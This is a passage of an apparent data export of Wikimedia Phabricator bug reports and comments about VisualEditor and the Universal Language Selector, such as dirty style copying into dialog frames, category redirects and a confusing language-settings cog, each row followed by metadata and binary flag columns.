+The side effects (e.g. broken styles) are currently (e.g. MediaWiki context) most visible in debug mode because then almost everything is loaded through <link> and as such subject to this bug. In production mode most things are loaded by ResourceLoader and thus evaluated inline. However it is a bug both in production as well, it is just a matter of time before we find random broken styles.
+
+
+- Figure out if we can get the contents without normalisation
+
+- Perhaps fallback indefinitely to always using <link href> for remote stylesheets, thus costing a few extra http requests inside the dialog, but that might be the only way we can for now.
+
+- Figure out how many things are affected and in which browsers. Maybe we can get it fixed upstream reasonably fast (these seem to be genuine bugs in the browser).
+
+- If there's only a few properties subject to dirty normalisation, we could consider changing our stylesheets to avoid those properties. E.g. instead of background: none; use background-color: none; (something less ambiguous, and probably correct in this case, though it is a bug still because it works in Chrome normally, but not after roundtripping to an iframe).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F11259}",Low,25.0,1375487160,1415062594.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-f3cdxehcze5c6igk2koe,task_description,resolved,True,c1,3,True,False,False,4,,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+236782,VisualEditor: Copying of styles to dialog frame is dirty,Effectively fixed for dialogs by expedient of not doing this any more…,,,1415062594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,70,,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+236776,VisualEditor: Copying of styles to dialog frame is dirty,"Has the bug:
+- Chrome 29 beta
+- Chrome 30 canary
+- Safari 6.0.5
+
+Does not have the bug:
+- Firefox 22 stable
+- Firefox Aurora 24.0a2",,,1375487416,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+236770,VisualEditor: Copying of styles to dialog frame is dirty,"Created attachment 13055
+Screenshot where it is dirty and broken (VE copied it from <link>)
+
+**Attached**: {F11260}",,,1375487204,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+54464,VisualEditor: Media selector should suggest media used on other language versions of the page,"en.wp user Wouterstomp suggests that the media selector should also suggest images that are used on other language versions of the article, not just based on the page title.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T53031}",Low,25.0,1375461120,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-dv44kcirtbdcglt6wfni,task_description,open,True,c1,3,False,False,,4,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+235674,VisualEditor: Media selector should suggest media used on other language versions of the page,"This could be very useful, but would need us to move more of the media item usage data out of local wikis and into a central repository (probably Wikidata), which has been discussed a few times but I don't know how soon it might get done, sorry.",,,1375487609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dv44kcirtbdcglt6wfni,task_subcomment,,True,c1,3,True,,,4,,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+54461,VisualEditor: Media settings dialog should show a preview of the media item,"Wouterstomp at en.wp has requested that the media settings dialog shows a tumbnail/preview of the image so you can refer to it while writing the caption.
+
+I would add to this that ctrl+click on this preview image should load the media description page in another tab/window.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375459860,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_description,open,True,c1,3,False,False,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+235440,VisualEditor: Media settings dialog should show a preview of the media item,"(In reply to comment #2)
+> I don't think the original commenter had particularly thought of that, as the
+> only thing you can currently do is write a caption. The idea being that you
+> can refer back to the image when writing it. This will be even more useful
+> I guess when you can used this dialog to write alt text.
+> 
+> My gut feeling is that a live preview would be nice but not essential.
+> Possibly implement a static preview and then see if anybody asks for it to be
+> made into a live preview. Assuming a live view is more than trivially harder
+> to implement than a static one.
+
+I believe that the hard stuff here will be in showing anything at all (and, particularly, anything that looks like how it will render in the page). Will check about live-updating, though.",,,1375783156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,True,,,5,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+235434,VisualEditor: Media settings dialog should show a preview of the media item,"I don't think the original commenter had particularly thought of that, as the only thing you can currently do is write a caption. The idea being that you can refer back to the image when writing it. This will be even more useful I guess when you can used this dialog to write alt text.
+
+My gut feeling is that a live preview would be nice but not essential. Possibly implement a static preview and then see if anybody asks for it to be made into a live preview. Assuming a live view is more than trivially harder to implement than a static one.",,,1375486837,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+235428,VisualEditor: Media settings dialog should show a preview of the media item,"Is this meant to be a preview of the media item as it will render in the page (i.e., a live-updated view of the configuration options from the dialog)?",,,1375482852,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1
+54450,VisualEditor: Disallow (discourage?) placing references inside section headers,"<<This is not really a VE bug (it is possible in the standard editing mode as well), but it is something that happens more often in VE, and that perhaps can be automatically disabled in VE as well; inserting references inside section headers. This is never needed or wanted (it is ugly, and the thing that needs to be referenced should be in the text of the section, not only in the title anyway). Example (spam, but the principle applies): http://en.wikipedia.org/w/index.php?title=Miniature_pig&diff=prev&oldid=566703074 . Fram (talk) 07:31, 2 August 2013 (UTC) >>
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375436160,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-beeof7d2r6t7gnezbj7a,task_description,open,True,c1,3,False,False,,4,,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+54447,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","A user at en.wp asks:
+""Why hide the puzzle and content icons until mouse-over? In general, if a function is active, it should be always shown - no idea, what hiding tries to achieve here.""
+
+Personally I think this could be very confusing for links, but it should be ok for templates and media.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375434180,1393632819.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nbkquo5siurqmbtxqe3i,task_description,declined,True,c1,3,False,False,False,4,,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+234713,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","On reflexion, I'm going to mark this as WONTFIX per my reasoning in comment 1 - this would massively dominate the interface on most real-world pages and make it unusable.",,,1393632819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,True,,,34,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+234706,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","yeah, the only way round that I can think of at the moment would be to have some sort of toggle between the current behaviour (default) and a display all mode. That would be useful for identifying at a glance where things are on a page, particularly with locating any invisible templates. It's not something I personally see as being of huge value, but I'm not everybody.",,,1375510577,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+234700,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","Templates and images aren't necessarily very big (think for example about the 20px-wide images that decorate some lists, either directly or as tables).
+
+When a node is smaller than a threshold, it displays the node icon as a pop-out (like an inspector menu); if we showed them all the time it could massively crowd-out the text of the page.
+
+Also, I worry that it would obstruct part of the template so you wouldn't know whilst editing exactly what was going to appear for users (if the menu icon was unhelpfully placed).",,,1375490038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,True,,,4,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+54414,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","If category:A is redirected to category:B 
+when user adds category:A it should switch it automatically to category:B like mediawiki:gadget-Hotcat.js
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1375383960,1397702597.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ykcis27ybwjtiim3musu,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+257832,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","Change 118218 merged by jenkins-bot:
+Follow redirects in the category widgets
+
+https://gerrit.wikimedia.org/r/118218",,,1397702683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257827,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","Change 118218 had a related patch set uploaded by Alex Monk:
+Follow redirects in the category widgets
+
+https://gerrit.wikimedia.org/r/118218",,,1394582184,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,False,,,36,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257822,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","So the redirect comes up as a suggestion, but when we add it, the redirect is resolved and the target added?",,,1394563520,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+54403,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","The sentence ""This page was last modified on … "" (message lastmodifiedat) is not updated after an edit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48560",Low,25.0,1375374540,1414769362.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+257298,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved",Verified in production.,,,1416427771,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+257291,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Verified in test2 and betalabs. The timestamp for ""This page was last modified on 5 November 2014, at 23:54."" seems to reflect accurately editing&saving events.",,,1415231839,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+257283,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170264 merged by jenkins-bot:
+Update ""page was last modified on date, at time"" footer line when saving
+
+https://gerrit.wikimedia.org/r/170264",,,1414733101,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0
+257275,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170264 had a related patch set uploaded by Alex Monk:
+Update ""page was last modified on date, at time"" footer line when saving
+
+https://gerrit.wikimedia.org/r/170264",,,1414715367,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+257268,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved",(... I had assumed this was for the LastModified extension without checking the message name.),,,1414707773,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,69,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+257261,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170184 abandoned by Alex Monk:
+Expose getLastModifiedText function
+
+Reason:
+oops
+
+https://gerrit.wikimedia.org/r/170184",,,1414707699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257254,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Change 170184 had a related patch set uploaded by Alex Monk:
+Expose getLastModifiedText function
+
+https://gerrit.wikimedia.org/r/170184",,,1414707232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,False,,,69,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257245,"VisualEditor: Invocation of ""lastmodifiedat"" message is not updated when page is saved","Same problem as bug 48560 (the page isn't re-painted when the edit is saved, just the contents <div>, and this sits outside that).",,,1375473428,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lreoxwdcbus6wy6gbdcn,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1
+54383,"ULS' ""Language Settings"" cog is confused with a way to edit language links","The cog to the side of the ""Languages"" sidebar section does, in fact, not let you change anything about that section.
+
+### Concerns
+
+* The ULS ""cog"" is visually associated with the ""Languages"" sidebar section, despite being unrelated, other than (confusingly) relating to the word ""Language"" in some way. The placement of this cog should be reconsidered.
+
+* The ""Language"" sidebar does not currently have a way to quickly edit its contents. (Unlike HotCat for categories). It can be changed by performing a full page edit (via the main ""Edit"" button on top). Alternatively, the links can (sometimes) be edited using the ""Edit links"" placed at the end of the link, which relates to Wikidata.
+
+### Background
+
+There are three things related here:
+
+1. Edit language links on current page: This is part of the content for the current page, and can be edited by clicking ""Edit"" and changing them in VisualEditor (under ""Page Settings  > Languages""), or by using the source editor.
+
+2. Edit language links associated with current page's Wikidata item: These are stored on Wikidata and can be edited by using the ""Edit links"" button at the bottom of ""Languages"" sidebar section.
+
+{F11931}
+
+3. User interface language: This is the language used for the interface of the software, names of input fields, sections, buttons, etc. This can be changed in three ways currently:
+
+| Preferences | ""Preferences"" among the personal tools. Available on all pages, all wikis. leading to Special:Preferences.  {F14222596} {F14222603}
+|--
+| ULS (personal)| The ULS link (language name) among the person tools. Available on all pages, but only certain wikis have it enabled. Leading to a ULS dialog dedicated to language selection.  {F14222782} {F14222792}
+|--
+| ULS (cog)| The ULS cog, aside the ""Languages"" section in the sidebar. Available only on content pages, all wikis. Leads to a different ULS dialog, one that also has other features, but among them language selection. {F11929} {F14223046}
+|--
+
+
+### Original task description
+
+>>! this-does-not-edit-languages wrote:
+>
+> languages should be editable out of a link besides languages. see attachment for a wheel which opens something else, on top of languages. clicking below drops you into wikidata. to really edit the languages one has to go to page settings! very confusing.
+>
+>
+> **Attached**: {F11929}",Low,25.0,1375354680,,PHID-USER-2ccnbnjo2s2q3diidydr,False,,False,PHID-TASK-zatiesduw4yvsu33o45q,task_description,open,True,c1,3,False,False,,4,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+1035648,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.
+
+Little comment 2: The following two tasks at least partially overlap with this one:
+# {T53355}
+# {T53431}
+
+----
+
+So, we now have two or three elements near the languages list:
+# The cog, near the ""Languages"" title:
+-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
+# The Wikidata link at the bottom:
+-- It has the text ""Add links"" when the page is not linked to versions in other languages. Clicking it opens a dialog for adding the links without leaving the page.
+-- It has the text ""Edit links"" when the page is linked to versions in other languages. Clicking it goes to the item page in Wikidata.
+# The Compact Language Links ""''X'' more"" button:
+-- Appears only on pages with 9 links or more, and only if the Compact Language Links preference is enabled. (It was in beta for a long time, but now it is default in Wikipedia in all languages, and in most other Wikimedia projects.)
+-- Clicking it opens a ULS panel with all the languages in which the page is available.
+
+----
+
+This is not ideal.
+
+This is not ideal for a lot of reasons:
+# Generally, three elements near the language the list //feel// like a bit too much.
+# The cog is at the top, but the things that it includes are //probably// needed by fewer people. I'm saying ""probably"", because I don't have the numbers, but we can try to obtain them. Fonts and keyboards configuration is important in some languages, but completely unnecessary in a lot of others (at least in the current implementation; I have a lot of ideas for redoing webfonts support, but they are far from being implemented, and they are way beyond the scope of this task). One thing I'm sure of is the the other two elements are needed by users in wikis in all languages, and the cog—only in some.
+# The language selector in ""Display settings"" under the cog includes all the languages, but it only selects the UI language. Even though the panel explicitly says what does it do, I suspect that some people—possibly a lot—select the UI language instead of the article language. I've seen it happening to a lot of people in workshops for new editors.
+# As a follow up to the previous point: Changing the UI language is not currently available to logged-out users. The panel says so, and some people may even think that they can only read an article in another language if they log in. It may sound crazy, but it may be true.
+# The title is not always actually ""Languages"". It is ""Languages"" in some wikis, but in others it is ""In other languages"", ""This page in other languages"", or something else.
+# ""Add links"" and ""Edit links"" have the same location, but different text, and completely different behavior. I suspect that a lot of editors will appreciate //editing// wikidata sitelinks (i.e. languages) in a dialog similar to the one that is used for initial linking, thus making the functionalities similar. I've been hearing comments like this from a lot of users in a lot of languages for years.
+# This is more of a guess than the previous point, but I further suspect that a lot of editors will appreciate a link to the Wikidata item page in a convenient location, possibly near the language list. ""Edit links"" is such a link already, but that's not what its title says. There is also a ""Wikidata item"" link buried elsewhere in the sidebar, which does largely the same thing. As an editor, it's one of the very few sidebar links that I actually use, although I might be very different from a lot of other people. This requires proper research.
+# The ""''X'' more"" button appears in some cases, but not always.
+# The language selector (ULS) and the language editor (WikidataClient's dialog) are related in their functionality, but they have a completely different interface design. It would be nice to bring their appearance closer to each other.
+
+----
+
+That's a lot of different issues. There's material here for a lot of different tasks and subtasks. Fixing them is desirable. It won't happen overnight, and it will require //proper// design work, and not just editors' or developers' intuition. It will probably require collaboration between Wikidata developers and WMF's Language team developers.
+
+But yes, it's about time to start resolving it.
+
+To @Krinkle's question—no, there's no proper roadmap at the moment. This very long comment is, hopefully, the first attempt to think of such a roadmap.",,,1521568306,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-zatiesduw4yvsu33o45q,task_subcomment,,True,c1,3,False,,,246,,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1
+1035642,"ULS' ""Language Settings"" cog is confused with a way to edit language links","Little comment 1: Since the task was filed in 2013, another element was added to most pages near the languages in the sidebar: ""//X// more"", opening the compact language links panel. I am adding the #uls-compactlinks tag here, because even though this project didn't exist when the bug was filed, it is totally relevant in the context. I am also adding the #wikidata tag, because it has a lot to do with it.
+
+Little comment 2: The following two tasks at least partially overlap with this one:
+# {T53355}
+# {T53431}
+
+----
+
+So, we now have two or three elements near the languages list:
+# The cog, near the ""Languages"" title:
+-- Coming from the ULS extension. Used for choosing UI language, and configuring webfonts and keyboards. It was put there back in 2012 when the first version of ULS was developed. Of course, the association between the ""Languages"" title, familiar to most wiki editors (and possibly to many readers) was a factor in choosing this location.
+# The Wikidata link at the bottom:
